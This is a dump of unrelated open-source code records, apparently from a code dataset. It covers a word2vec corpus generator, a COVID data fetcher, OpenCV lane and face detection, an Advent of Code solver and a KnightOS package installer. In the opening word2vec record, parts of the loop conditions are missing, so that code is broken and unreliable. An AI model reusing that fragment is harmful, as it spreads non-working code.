предложению\n# из исходного корпуса. Для каждого исходного предложения создается несколько\n# новых предложений, включая исходный вариант.\nclass WordPartsGenerator:\n '''\n fname - имя файла с исходным корпусом\n max_per_line - макс. число предложений с частями слов, генерируемых из одного исходного\n '''\n def __init__(self, fname, max_per_line, min_part_len, max_part_len, max_lines ):\n self.fname = fname\n self.max_per_line = max_per_line\n self.min_part_len = min_part_len\n self.max_part_len = max_part_len\n self.max_lines = max_lines\n self.line_buf = []\n self.ibuf= 0\n self.rdr = None\n self.total_lines = 0\n \n def fill_buffer(self):\n self.line_buf = []\n self.ibuf = 0\n\n line = self.rdr.readline().decode('utf-8').strip()\n if line==None:\n return\n\n n_generated=0\n nprobe=0\n words = line.split(' ')\n \n self.line_buf.append( words ) # исходное предложение добавляется обязательно\n self.total_lines += 1\n \n if len(words)>2:\n while n_generatedself.max_part_len and not '_' in word:\n pos0 = random.randint(0,wlen-self.min_part_len-1)\n maxpos1 = min( wlen-1, pos0+self.max_part_len-1 )\n pos1 = random.randint(pos0+self.min_part_len,maxpos1)\n \n word2 = u''\n if pos0>0:\n word2 += u'~'\n \n word2 += word[pos0:pos1+1]\n \n if pos1self.max_lines:\n raise StopIteration\n\n line = self.line_buf[self.ibuf]\n self.ibuf += 1\n return line\n\n# ----------------------------------------------------------------------------\n\nlogging.basicConfig(format='%(asctime)s : %(levelname)s : %(message)s', level=logging.INFO)\n\n# путь к файлу с исходным текстовым корпусом.\n# файл содержит одно предложение в каждой строке. слова приведены к нижнему регистру,\n# пунктуаторы убраны, токены разделены пробелами.\ncorpus_path = os.path.expanduser('~/Corpus/word2vector/ru/SENTx.corpus.w2v.txt')\n\n# параметры w2v модели\nSIZE=32\nWINDOW=1\nCBOW=0\nMIN_COUNT=2\n\n# минимальная длина фрагмента слова\nMIN_PART_LEN = 2\n\n# максимальная длина фрагмента слова\nMAX_PART_LEN = 4\n\n# сколько вариантов замен получается из одного предложения\nN_NEWLINE_PER_SENTENCE = 10\n\n\n# подсчитаем, сколько строк в исходном корпусе, чтобы потом\n# давать оценку завершенности генерации корпуса.\nprint( 'Counting lines in source corpus', corpus_path, '...' )\nnline=0\nfor line in open(corpus_path,'r'):\n nline += 1\nprint( 'Done, ', nline, ' lines.' )\n\nmax_lines = nline*N_NEWLINE_PER_SENTENCE\n\n\n# Соберем частотный словарь для слов и частей слов.\nprint( 'Collecting the wordpart frequencies...' )\nwordpart_counts = Counter()\nword_counts = Counter()\ncorp = WordPartsGenerator(corpus_path,N_NEWLINE_PER_SENTENCE,MIN_PART_LEN,MAX_PART_LEN,max_lines)\nnline=0\nfor line in corp:\n for word in line:\n if u'~' in word:\n wordpart_counts[word] += 1\n else:\n word_counts[word] += 1 \n\n nline += 1\n if 0 == (nline % 10000):\n print( '{0}/{1} ==> {2}%'.format(nline,max_lines,100.0*n_line/max_lines), end='\\r' )\n\nprint( 'done, {0} lines processed. {1} unique words, {2} unique word parts'.format(nline,len(word_counts),len(wordpart_counts) ) )\n\nWORDPART_FREQUENCIES_FILENAME = 'wordpart.frequencies.dat'\nwith open( WORDPART_FREQUENCIES_FILENAME, 'w' ) as f:\n for d in wordpart_counts.iteritems():\n f.write( d[0].encode('utf-8') + '\\t' + str(d[1]) + '\\n' )\n\nWORD_FREQUENCIES_FILENAME = 'word.frequencies.dat'\nwith open( WORD_FREQUENCIES_FILENAME, 'w' ) as f:\n for d in word_counts.iteritems():\n f.write( d[0].encode('utf-8') + '\\t' + str(d[1]) + '\\n' )\n\n\nfilename = 'wordparts.CBOW=' + str(CBOW)+'_WIN=' + str(WINDOW) + '_DIM='+str(SIZE)\n\n# в отдельный текстовый файл выведем все параметры модели\nwith open( filename + '.info', 'w+') as info_file:\n print('corpus_path=', corpus_path, file=info_file)\n print('SIZE=', SIZE, file=info_file)\n print('WINDOW=', WINDOW, file=info_file)\n print('CBOW=', CBOW, file=info_file)\n print('MIN_COUNT=', MIN_COUNT, file=info_file)\n\n# начинаем обучение w2v на генерируемом корпусе\nsentences = WordPartsGenerator(corpus_path,N_NEWLINE_PER_SENTENCE,MIN_PART_LEN,MAX_PART_LEN,max_lines)\nmodel = word2vec.Word2Vec(sentences, size=SIZE, window=WINDOW, cbow_mean=CBOW, min_count=MIN_COUNT, workers=4, sorted_vocab=1, iter=1 )\n\nmodel.init_sims(replace=True)\n\n# сохраняем готовую w2v модель\nmodel.save_word2vec_format( filename + '.model', binary=True)\n\n","sub_path":"PyUtils/wordparts.py","file_name":"wordparts.py","file_ext":"py","file_size_in_byte":7092,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"356650739","text":"import sys\nimport os\nimport time\nimport logging\nimport shutil\nfrom watchdog.observers import Observer\nfrom watchdog.events import *\n\nclass WatchSnippetHandler(FileSystemEventHandler):\n def __init__(self):\n self.snippetsDir = \"/Users/ligf/Library/Application Support/Code/User/snippets\"\n FileSystemEventHandler.__init__(self)\n \n def on_modified(self, event):\n if not event.is_directory:\n fp = event.src_path\n fn, fext = os.path.splitext(fp)\n if fext == \".code-snippets\":\n dest_fp = self.snippetsDir\n shutil.copy(fp, dest_fp)\n print(event.src_path)\n\nif __name__ == \"__main__\":\n\n path = sys.argv[1] if len(sys.argv) > 1 else '.'\n event_handler = WatchSnippetHandler()\n observer = Observer()\n observer.schedule(event_handler, path, recursive=True)\n observer.start()\n try:\n while True:\n time.sleep(1)\n except KeyboardInterrupt:\n observer.stop()\n observer.join()\n\n","sub_path":"snippets/watch.py","file_name":"watch.py","file_ext":"py","file_size_in_byte":1015,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"652881788","text":"# -*- coding: utf-8 -*-\n\nimport requests\nimport csv\nimport pandas as pd\n\n\ndef get_data_from_local():\n # Download the dataset (Derivated from remote version)\n BASE_FILES = './time_series/time_series_2019-ncov-{}.csv'\n CATEGORIES = ['Confirmed', 'Deaths', 'Recovered']\n DATAFRAMES = {}\n\n # Iterate through all files\n for _category in CATEGORIES:\n pathfile = BASE_FILES.format(_category)\n with open(pathfile) as file:\n _text = file.read()\n\n # Extract data\n data = list(csv.DictReader(_text.splitlines()))\n df = pd.DataFrame(data)\n\n # Data Cleaning\n df = df.iloc[:, [1, -1]] # Select only Country and its last values\n df.columns = ['Country/Region', _category]\n pd.to_numeric(df[_category])\n df['Country/Region'].replace({'Mainland China': 'China'}, inplace=True)\n df.dropna(axis=0, how='any', thresh=None, subset=None, inplace=False)\n\n DATAFRAMES[_category.lower()] = df\n\n DATAFRAMES['timestamp'] = _text.splitlines()[0].split(',')[-1]\n\n return DATAFRAMES\n\n\ndef get_data_from_http():\n # Download the dataset (Source: https://github.com/nat236919/Covid2019API/blob/master/app/helper.py)\n BASE_URL = 'https://raw.githubusercontent.com/CSSEGISandData/2019-nCoV/master/time_series/time_series_2019-ncov-{}.csv'\n CATEGORIES = ['Confirmed', 'Deaths', 'Recovered']\n DATAFRAMES = {}\n\n # Iterate through all files\n for category in CATEGORIES:\n url = BASE_URL.format(category)\n res = requests.get(url)\n text = res.text\n\n # Extract data\n data = list(csv.DictReader(text.splitlines()))\n df = pd.DataFrame(data)\n\n # Data Cleaning\n df = df.iloc[:, [1, -1]] # Select only Country and its last values\n df.columns = ['Country/Region', category]\n pd.to_numeric(df[category])\n df['Country/Region'].replace({'Mainland China': 'China'}, inplace=True)\n df.dropna(axis=0, how='any', thresh=None, subset=None, inplace=False)\n\n DATAFRAMES[category.lower()] = df\n\n DATAFRAMES['timestamp'] = text.splitlines()[0].split(',')[-1]\n\n return DATAFRAMES\n\n\ndef get_data(use_local=False):\n if use_local:\n return get_data_from_local()\n else:\n return get_data_from_http()\n\n\nclass DataModel:\n def __init__(self):\n self._data = None\n self.pull_data()\n\n def pull_data(self):\n try:\n self._data = get_data(use_local=False)\n print('Data fetched')\n except:\n print('Error to get data')\n\n def get_latest_value(self):\n deaths = sum([int(i) for i in self._data['deaths']['Deaths']])\n confirmed = sum([int(i) for i in self._data['confirmed']['Confirmed']])\n recovered = sum([int(i) for i in self._data['recovered']['Recovered']])\n latest_data = {'deaths': deaths, 'confirmed': confirmed, 'recovered': recovered}\n\n time = self._data['timestamp']\n\n return {'timestamp': time, 'data': latest_data}\n\n def get_case_by_country(self):\n pass\n","sub_path":"app/data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":3112,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"251972697","text":"import os\n\nmypath = r'C:\\Temp'\n\ndef listDir(dir):\n fileNames = os.listdir(dir)\n totalFileCount = 0\n totalFileSize = 0\n\n for filename in fileNames:\n #print('File Name: ' + filename)\n #print('Folder Path ' + os.path.abspath(os.path.join(dir, filename)), sep='\\n')\n totalFileCount += 1\n\n print('Total File Count = ' + str(totalFileCount))\n\n for file in fileNames:\n totalFileSize += os.stat(file).st_size\n\n print('Total File Size = ' + str(totalFileSize))\n\nif __name__ == '__main__':\n listDir(mypath)\n\n#listDir(mypath)\n","sub_path":"other/test/file3.py","file_name":"file3.py","file_ext":"py","file_size_in_byte":567,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"346269957","text":"from app import admin\nfrom app import modeles\nfrom app import db\nfrom app.vues.admin import VueModele\n\nclass VueCourse(VueModele):\n\n ''' Informations sur les courses. '''\n\n can_create = True\n can_edit = True\n can_delete = True\n\n form_columns = [\n \t'utilisateur',\n \t'places',\n \t'priorite',\n 'debut',\n 'commentaire',\n 'bagages',\n 'animaux',\n\t 'animaux_grands',\n 'gare',\n 'aeroport',\n 'depart',\n 'arrivee'\n ]\n\nadmin.add_view(\n\tVueCourse(\n\t\tmodeles.Course,\n\t\tdb.session\n\t)\n)\n","sub_path":"app/vues/admin/courses.py","file_name":"courses.py","file_ext":"py","file_size_in_byte":557,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"621286906","text":"from __future__ import division\n\nimport cv2\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n\ndef showImage(image):\n plt.imshow(cv2.cvtColor(image, cv2.COLOR_BGR2RGB))\n plt.axis(\"off\")\n plt.show()\n \ndef extractROI(image, verticies):\n mask = np.zeros_like(image)\n required_region = (255,) * 3\n cv2.fillPoly(mask, vertices, required_region)\n return mask\n\n\ncap = cv2.VideoCapture('lane_lines_images/challenge.mp4')\n\nfourcc = cv2.cv.FOURCC('m', 'p', '4', 'v')\n_, sample_image = cap.read()\nsize = (sample_image.shape[1], sample_image.shape[0])\nout = cv2.VideoWriter('Simple_Lane_detector_challenge.mp4', fourcc, 30, size, True)\n\nwhile cap.isOpened():\n ret, img_color = cap.read()\n if ret is True:\n\n # Read sample image and convert to hsv format\n # img_color = cv2.imread('lane_lines_images/whiteCarLaneSwitch.jpg')\n img_intermediate = img_color.copy()\n img_final = img_color.copy()\n im_height, im_width, _ = img_color.shape\n # print(img_color.shape)\n img_color = cv2.resize(img_color, (960, 540))\n img_hsv = cv2.cvtColor(img_color, cv2.COLOR_BGR2HSV)\n\n # showImage(img_color)\n\n\n # In[38]:\n\n # Create mask for Yellow and White\n lower_yellow = np.array([20, 100, 100], dtype=np.uint8)\n upper_yellow = np.array([30, 255, 255], dtype=np.uint8)\n\n lower_white = np.array([0, 0, 230], dtype=np.uint8)\n upper_white = np.array([255, 20, 255], dtype=np.uint8)\n\n yellow_mask = cv2.inRange(img_hsv, lower_yellow, upper_yellow)\n white_mask = cv2.inRange(img_hsv, lower_white, upper_white)\n\n mask = cv2.bitwise_or(white_mask, yellow_mask)\n image_masked = cv2.bitwise_or(img_color, img_color, mask=mask)\n\n\n # Canny Edge detection\n blur_masked = cv2.GaussianBlur(image_masked, (3,3), 0)\n x_len, y_len, _= img_hsv.shape\n canny_img = cv2.Canny(blur_masked, threshold1=50, threshold2=255, apertureSize=3)\n plt.imshow(canny_img)\n\n print(img_color.shape)\n # Get Mask to extract region of interest from the canny image\n\n vertices = np.array([[(0,im_height),(im_width/2, im_height/2), (im_width/2, im_height/2), (im_width,im_height)]], dtype=np.int32)\n # vertices = np.array([[(im_width/2, im_height),(im_width/2, im_height/2), (im_width/2, im_height/2), (im_width,im_height)]], dtype=np.int32)\n roi_mask = extractROI(canny_img, vertices)\n roi_image = cv2.bitwise_and(canny_img, roi_mask)\n\n\n\n minLineLength = 100\n maxLineGap = 10\n lines = cv2.HoughLinesP(roi_image,3,np.pi/180,20,minLineLength)\n\n img_intermediate = img_color.copy()\n left_x = []\n left_y = []\n right_x = []\n right_y = []\n for x in range(0, len(lines)):\n for x1, y1, x2, y2 in lines[x]:\n if(x2 -x1) != 0:\n slope = (y2 - y1) / (x2 - x1)\n if np.fabs(slope) < 0.2:\n continue\n elif slope < 0 : # left lane, green is left\n cv2.line(img_intermediate,(x1,y1),(x2,y2),(0,255,0),2)\n left_x.extend([x1, x2])\n left_y.extend([y1, y2])\n elif slope > 0: # right lane, red is right, it rhymes ;)\n right_x.extend([x1, x2])\n right_y.extend([y1, y2])\n cv2.line(img_intermediate,(x1,y1),(x2,y2),(0,0,255),2)\n\n # showImage(img_intermediate)\n\n\n # In[77]:\n\n # let's plot the right x and y coordinates as a scatter plot.\n # plt.scatter(right_x, right_y)\n # plt.show()\n # plt.scatter(left_x, left_y)\n # plt.show()\n # To obtain a single line , we can apply linear regression to fit a line to the points.\n # We start by fitting a polynomial of degree one and we get a polynomial for right lane\n\n deg_1_poly = np.polyfit(right_y, right_x, deg=1)\n right_lane_polynomial = np.poly1d(deg_1_poly)\n print('Right lane polynomial :' + str(right_lane_polynomial))\n\n deg_1_poly = np.polyfit(left_y, left_x, deg=1)\n left_lane_polynomial = np.poly1d(deg_1_poly)\n print('Left lane polynomial :' + str(left_lane_polynomial))\n\n # Get a single line from the polynomial. Since the line cannot extend from bottom to the top of the image,\n # let us limit the line to region of interest\n min_y = int(img_final.shape[0]/1.7)\n max_y = int(img_final.shape[0] )\n right_x_start = int(right_lane_polynomial(max_y))\n right_x_end = int(right_lane_polynomial(min_y))\n\n left_x_start = int(left_lane_polynomial(max_y))\n left_x_end = int(left_lane_polynomial(min_y))\n\n\n\n img_final = img_color.copy()\n # cv2.line(img_final, (right_x_start, max_y), (right_x_end, min_y), (0, 255,0), 4)\n # cv2.line(img_final, (left_x_start, max_y), (left_x_end, min_y), (0, 0,255), 4)\n # showImage(img_final)\n\n just_line = np.zeros(img_final.shape, dtype=np.uint8);\n cv2.line(just_line, (right_x_start, max_y), (right_x_end, min_y), (0, 0,255), 4)\n cv2.line(just_line, (left_x_start, max_y), (left_x_end, min_y), (0, 255,0), 4)\n\n img_final = cv2.addWeighted(img_final, 0.8, just_line, 1, 0);\n # showImage(img_final)\n # cv2.imshow('Main Window', img_final)\n # cv2.waitKey(100)\n\n out.write(img_final)\n else:\n break\n\ncap.release()\nout.release()\ncv2.destroyAllWindows()","sub_path":"Simple_Lane_Detection.py","file_name":"Simple_Lane_Detection.py","file_ext":"py","file_size_in_byte":5550,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"271175275","text":"with open('Q18b.txt', 'r') as f:\n prompt = f.read()\n\nprompt = prompt.split()\n\ngrid = []\nstarts = []\n\nfor i in prompt:\n grid.append([])\n for j in i:\n grid[-1].append(j)\n\nfor i in range(len(grid)):\n for j in range(len(grid[0])):\n if grid[i][j] == '@':\n starts.append((i,j))\n\n\ndef find_keys(pos, grid, found):\n points = [pos]\n dist = {pos: 0}\n keys = {}\n\n while len(points) > 0:\n check = points[0]\n points = points[1:]\n for p in (\n (check[0] + 1, check[1]),\n (check[0] - 1, check[1]),\n (check[0], check[1] + 1),\n (check[0], check[1] - 1),\n ):\n if not (0 <= p[0] < len(grid) and 0 <= p[1] < len(grid[0])):\n continue\n c = grid[p[0]][p[1]]\n if c == '#':\n continue\n if p in dist:\n continue\n dist[p] = dist[check] + 1\n if 'A' <= c <= 'Z' and c.lower() not in found:\n continue\n if 'a' <= c <= 'z' and c not in found:\n keys[c] = dist[p], p\n else:\n points.append(p)\n return keys\n\n\ndef reachable4(grid, starts, havekeys):\n keys = {}\n for i, start in enumerate(starts):\n for ch, (dist, pt) in find_keys(start, grid, havekeys).items():\n keys[ch] = dist, pt, i\n return keys\n\n\ndef minwalk(grid, starts, found):\n hks = ''.join(sorted(found))\n if (starts, hks) in seen:\n return seen[starts, hks]\n keys = reachable4(grid, starts, found)\n if len(keys) == 0:\n ans = 0\n else:\n poss = []\n for ch, (dist, pt, roi) in keys.items():\n nstarts = tuple(pt if i == roi else p for i, p in enumerate(starts))\n poss.append(dist + minwalk(grid, nstarts, found + ch))\n ans = min(poss)\n seen[starts, hks] = ans\n return ans\n\n\nseen = {}\n\nprint(minwalk(grid, tuple(starts), ''))\n","sub_path":"2019/Day 18/Q18b.py","file_name":"Q18b.py","file_ext":"py","file_size_in_byte":1947,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"186704187","text":"'''\nInput: an integer\nReturns: an integer\n'''\n#\n# Implement a function eating_cookies that counts the number of possible \n# ways Cookie Monster can eat all of the cookies in the jar.\n\n# For example, for a jar of cookies with n = 3 (the jar has 3 cookies inside it), there are 4 possible ways for Cookie Monster to eat all the cookies inside it:\n\n# He can eat 1 cookie at a time 3 times\n# He can eat 1 cookie, then 2 cookies\n# He can eat 2 cookies, then 1 cookie\n# He can eat 3 cookies all at once.\n# Thus, eating_cookies(3) should return an answer of 4.#\n\n\n#U\n#need to store this data into memory to keep track of how many times the person is eating the cookie, like using cache?\n#need to pass in cache or memory as a parameter and initialize to None\n\n#n stands for number of cookies\n\n#look up permutations and recursion\n#as well as cache and memoization\n#used ring buffer from sprint as reference as well\n\n# P\n\n# E\n# R#\n\n#Less efficient method\n# def eating_cookies(n):\n# if n < 0:\n# return 0\n# elif n == 0:\n# return 1\n# else:\n# return eating_cookies(n-1) + eating_cookies(n-2) + eating_cookies(n-3)\n\n\n\n\n#n stands for input size- number of cookies in the jar\n#pass in cache (memory storage holder) as parameter and default to none\n#cache helps to make run time faster O (n). data structure that stores redundant data\n#cache is a dictionary where keys is the n, value is the answer\n\ndef eating_cookies(n, cache = None):\n # Your code here\n\n #if cache array is empty then initialize it\n if cache == None:\n cache = [0] * (n + 1) #(n+1) refering to the input size incrementing/increasing by 1. \n \n\n #if input n is less than or equal to 1 than cache storage index will still be at 1\n #basically there is just one way to eat the cookie \n # and there is one way where he can not eat the cookie\n if n <= 1:\n cache[n] = 1\n\n #if input of cookies is 2, then cache storage index will be at 2\n #there are 2 ways in which he eat the cookie\n elif n ==2:\n cache[n] = 2\n\n #edge case if the index of cache[n] is at 0 \n #ate all of the cookies at once (eating all 3 cookies)\n elif cache[n] == 0:\n #answer saved in cache for future uses and call function recursively\n cache[n] = eating_cookies(n-1, cache) + eating_cookies(n-2, cache) + eating_cookies(n-3, cache)\n \n #return number of ways to eat cookies\n return cache[n]\n\n#Lecture method\n# def eating_cookies(n):\n# if n < 0:\n# return 0\n# elif n == 0:\n# return 1\n# elif cache[n] > 0:\n\n\nif __name__ == \"__main__\":\n # Use the main function here to test out your implementation\n num_cookies = 5\n\n print(f\"There are {eating_cookies(num_cookies)} ways for Cookie Monster to each {num_cookies} cookies\")\n","sub_path":"eating_cookies/eating_cookies.py","file_name":"eating_cookies.py","file_ext":"py","file_size_in_byte":2793,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"419972733","text":"from sys import exit, stderr, stdout\nfrom util import copytree\n\nimport os\nimport re\nimport requests\nimport subprocess\nimport pystache\nimport kpack\nimport errno\n\nfrom resources import get_resource_root\n\nclass Project:\n def __init__(self, root=None):\n self.root = root\n if self.root == None: self.root = findroot()\n\n def __del__(self):\n pass\n\n def full_name(self):\n repo = self.get_config(\"repo\")\n name = self.get_config(\"name\")\n if not repo or not name:\n return None\n return repo + \"/\" + name\n\n def open(self, path, mode=\"r\"):\n return open(os.path.join(self.root, path), mode=mode) # TODO: This leaks file descriptors\n\n def get_config(self, key, config=\"package.config\"):\n lines = None\n try:\n with self.open(config) as c:\n lines = c.readlines()\n except:\n return None\n for line in lines:\n if line.startswith(key):\n try:\n return line[line.index('=') + 1:].strip()\n except:\n pass\n return None\n\n def set_config(self, key, value, config=\"package.config\"):\n lines = None\n with self.open(config) as c:\n lines = c.readlines()\n found = False\n for i, line in enumerate(lines):\n if line.startswith(key):\n lines[i] = key + '=' + value + \"\\n\"\n found = True\n if not found:\n lines.append(\"{0}={1}\\n\".format(key, value))\n if value == '':\n lines = [l for l in lines if not l.startswith(key)]\n with self.open(\"package.config\", mode=\"w\") as c:\n c.write(''.join(lines))\n\n def get_packages(self):\n deps = self.get_config(\"dependencies\")\n if deps == None:\n deps = list()\n else:\n deps = deps.split(' ')\n for i, dep in enumerate(deps):\n if ':' in dep:\n deps[i] = dep.split(':')[0]\n return deps\n\n def get_implicit_packages(self, packages):\n extra = list()\n for package in packages:\n info = requests.get('https://packages.knightos.org/api/v1/' + package)\n if info.status_code == 404:\n stderr.write(\"Cannot find '{0}' on packages.knightos.org.\\n\".format(package))\n exit(1)\n elif info.status_code != 200:\n stderr.write(\"An error occured while contacting packages.knightos.org for information.\\n\")\n exit(1)\n for dep in info.json()['dependencies']:\n if not dep in extra and not dep in self.get_packages():\n if dep == self.full_name():\n print(\"Notice: this project fulfills the '{0}' dependency, skipping\".format(dep))\n else:\n print(\"Adding dependency: \" + dep)\n extra.append(dep)\n return extra\n\n def gen_package_make(self):\n template_vars = { \"packages\": list() }\n for root, dirs, files in os.walk(os.path.join(self.root, \".knightos\", \"packages\")):\n for package in files:\n info = kpack.PackageInfo.read_package(os.path.join(self.root, \".knightos\", \"packages\", package))\n template_vars[\"packages\"].append({ \"name\": info.name, \"repo\": info.repo, \"filename\": package })\n if os.path.exists(os.path.join(self.root, \".knightos\", \"pkgroot\", \"slib\")):\n template_vars[\"libraries\"] = list()\n for root, dirs, files in os.walk(os.path.join(self.root, \".knightos\", \"pkgroot\", \"slib\")):\n for library in files:\n template_vars[\"libraries\"].append({ \"path\": os.path.join(self.root, \".knightos\", \"pkgroot\", \"slib\", library) })\n with open(os.path.join(get_resource_root(), \"templates\", \"packages.make\"), \"r\") as ofile:\n path = os.path.join(self.root, \".knightos\", \"packages.make\")\n with open(os.path.join(path), \"w\") as file:\n file.write(pystache.render(ofile.read(), template_vars))\n\n def install(self, packages, site_only, init=False, link=False):\n if len(packages) == 0 and os.path.exists(os.path.join(packages[0], \"package.config\")):\n # TODO: Install local package\n pass\n\n deps = self.get_packages()\n extra = self.get_implicit_packages(packages)\n all_packages = extra + packages\n all_packages = [p for p in all_packages if p != self.full_name()]\n files = []\n # Download packages\n for p in all_packages:\n stdout.write(\"Downloading {0}\".format(p))\n r = requests.get('https://packages.knightos.org/api/v1/' + p)\n path = os.path.join(self.root, \".knightos\", \"packages\", \"{0}-{1}.pkg\".format(r.json()['name'], r.json()['version']))\n files.append(path)\n with self.open(path, mode=\"wb\") as fd:\n _r = requests.get('https://packages.knightos.org/{0}/download'.format(r.json()['full_name']))\n total = int(_r.headers.get('content-length'))\n length = 0\n for chunk in _r.iter_content(1024):\n fd.write(chunk)\n length += len(chunk)\n if stdout.isatty():\n stdout.write(\"\\rDownloading {:<20} {:<20}\".format(p, str(int(length / total * 100)) + '%'))\n stdout.write(\"\\n\")\n # Initial extraction\n FNULL = open(os.devnull, 'w')\n subprocess.call([\"kpack\", \"-e\", path, os.path.join(self.root, \".knightos\", \"pkgroot\")], stdout=FNULL, stderr=subprocess.STDOUT)\n subprocess.call([\"kpack\", \"-e\", \"-s\", path, os.path.join(self.root, \".knightos\", \"pkgroot\")], stdout=FNULL, stderr=subprocess.STDOUT)\n if not site_only:\n for package in packages:\n deps.append(package)\n if not init:\n self.set_config(\"dependencies\", \" \".join(deps))\n if link:\n force_symlink(os.path.join(\"bin\", \"castle\"), os.path.join(self.root, \".knightos\", \"pkgroot\", \"bin\", \"launcher\"))\n force_symlink(os.path.join(\"bin\", \"threadlist\"), os.path.join(self.root, \".knightos\", \"pkgroot\", \"bin\", \"switcher\"))\n force_symlink(os.path.join(\"bin\", \"fileman\"), os.path.join(self.root, \".knightos\", \"pkgroot\", \"bin\", \"browser\"))\n\n # Install packages\n self.gen_package_make()\n return all_packages\n\ndef findroot():\n path = os.getcwd()\n while path != \"/\": # TODO: Confirm this is cross platform\n if \".knightos\" in os.listdir(path):\n return path\n else:\n path = os.path.realpath(os.path.join(path, \"..\"))\n stderr.write(\"There doesn't seem to be a KnightOS project here. Did you run `knightos init`?\\n\")\n exit(1)\n\n#Currently there's no way to overwrite a pre-existing symlink\ndef force_symlink(file1, file2):\n try:\n os.symlink(file1, file2)\n except OSError as e:\n if e.errno == errno.EEXIST:\n os.remove(file2)\n os.symlink(file1, file2)\n","sub_path":"project.py","file_name":"project.py","file_ext":"py","file_size_in_byte":7113,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"392926090","text":"import numpy as np\nimport cv2\nimport copy\nfrom crisjfpy import list_join\nimport imutils\n\ndef consolidate_rect(rects_):\n rects = [tuple(val) for val in rects_]\n consolidate = [0]\n while len(consolidate) !=0:\n rects_out = []\n consolidate = []\n rects = list(set(rects))\n for i,(x1,y1,w1,h1) in enumerate(rects):\n for j,(x2,y2,w2,h2) in enumerate(rects[i+1:],i+1):\n if not ((x1+w1<=x2)|(x2+w2<=x1)|(y1+h1<=y2)|(y2+h2<=y1)): #Do they overlap?\n xc1,yc1 = (x1+0.5*w1),(y1+0.5*h1)\n xc2,yc2 = (x2+0.5*w2),(y2+0.5*h2)\n if (((xc1>=x2)&(xc1<=x2+w2))&((yc1>=y2)&(yc1<=y2+h2)))&(((xc2>=x1)&(xc2<=x1+w1))&((yc2>=y1)&(yc2<=y1+h1))): #Is the center of one contained in the other?\n consolidate.append((i,j))\n for i,j in consolidate:\n x,y = min(rects[i][0],rects[j][0]),min(rects[i][1],rects[j][1])\n w = max(rects[i][0]+rects[i][2],rects[j][0]+rects[j][2]) - x\n h = max(rects[i][1]+rects[i][3],rects[j][1]+rects[j][3]) - y\n rects_out.append((x,y,w,h))\n\n for i,val in enumerate(rects):\n if i not in set(list_join(consolidate)):\n rects_out.append(val)\n rects = copy.deepcopy(rects_out)\n rects = [np.array(val,dtype=np.int32) for val in rects]\n return rects\n\ndef DetectFaces(img):\n '''Finds faces using all cascades available.'''\n face_cascades = ['haarcascade_frontalcatface.xml','haarcascade_frontalcatface_extended.xml',\n 'haarcascade_frontalface_alt.xml','haarcascade_frontalface_alt2.xml',\n 'haarcascade_frontalface_alt_tree.xml','haarcascade_frontalface_default.xml']\n gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n faces_out = []\n for cascade in face_cascades:\n face_cascade = cv2.CascadeClassifier('cascades/'+cascade)\n faces = face_cascade.detectMultiScale(gray, 1.3, 5)\n faces_out += list(faces)\n if len(faces_out) >=200:\n return faces_out\n else:\n return consolidate_rect(faces_out)\n\ndef DetectEyes(img):\n '''Finds eyes using all cascades available.'''\n eye_cascades = ['haarcascade_eye_tree_eyeglasses.xml','haarcascade_eye.xml']\n gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n eyes_out = []\n for cascade in eye_cascades:\n eye_cascade = cv2.CascadeClassifier('cascades/'+cascade)\n eyes = eye_cascade.detectMultiScale(gray, 1.3, 5)\n eyes_out += list(eyes)\n if len(eyes_out) >=200:\n return eyes_out\n else:\n return consolidate_rect(eyes_out)\n\ndef crop(img_raw,center,shape):\n '''\n Crops the given image into the given shape, focusing on the given center.\n\n Parameters\n ----------\n img_raw : cv2.image\n Raw image\n center : tuple\n Center to crop around\n shape : tuple\n Output shape\n\n Returns\n -------\n img : cv2.image\n Cropped image\n '''\n xc,yc = center\n img = resize(img_raw,shape)\n if img.shape[0]>shape[0]:\n h0,hf = int(yc-0.5*shape[0]),int(yc+0.5*shape[0])\n h0 = max([h0,0])\n hf = min([hf,img.shape[0]])\n while hf-h0 < shape[0]:\n if hf < img.shape[0]:\n hf+=1\n else:\n h0-=1\n while hf-h0 > shape[0]:\n hf-=1\n img_ = img[h0:hf,:]\n elif img.shape[1]>shape[1]:\n w0,wf = int(xc-0.5*shape[1]),int(xc+0.5*shape[1])\n w0 = max([w0,0])\n wf = min([wf,img.shape[1]])\n while wf-w0 < shape[1]:\n if wf < img.shape[1]:\n wf+=1\n else:\n w0-=1\n while wf-w0 > shape[1]:\n wf-=1\n img_ = img[:,w0:wf]\n else:\n img_ = img\n return img_\n\ndef resize(img,shape):\n img_ = imutils.resize(img, width=shape[1])\n if img_.shape[0] < shape[0]:\n img_ = imutils.resize(img, height=shape[0])\n return img_\n\ndef find_center(img_raw,shape):\n '''\n Find the best center to crop the given image.\n If tries to detect faces, then tries to detect eyes if the image is square like.\n Finally it returns the center based on the image's aspect ratio.\n\n Parameters\n ----------\n img_raw : cv2.image\n Raw image\n shape : tuple\n Shape to crop\n\n Returns\n -------\n center : tuple\n Location of the optimum center\n '''\n img = resize(img_raw,shape)\n center=None\n \n faces_out = DetectFaces(img)\n if (len(faces_out) != 0):\n if len(faces_out) >=200:\n xc,yc = zip(*[((x+0.5*w),(y+0.5*h)) for x,y,w,h in faces_out[:50]])\n else:\n xc,yc = zip(*[((x+0.5*w),(y+0.5*h)) for x,y,w,h in faces_out])\n center=(np.mean(xc),np.mean(yc))\n\n r = img.shape[0]/float(img.shape[1])\n if (center is None)&(r < 1.1)&(r > 0.9):\n eyes_out = DetectEyes(img)\n if len(eyes_out) != 0:\n if len(eyes_out) 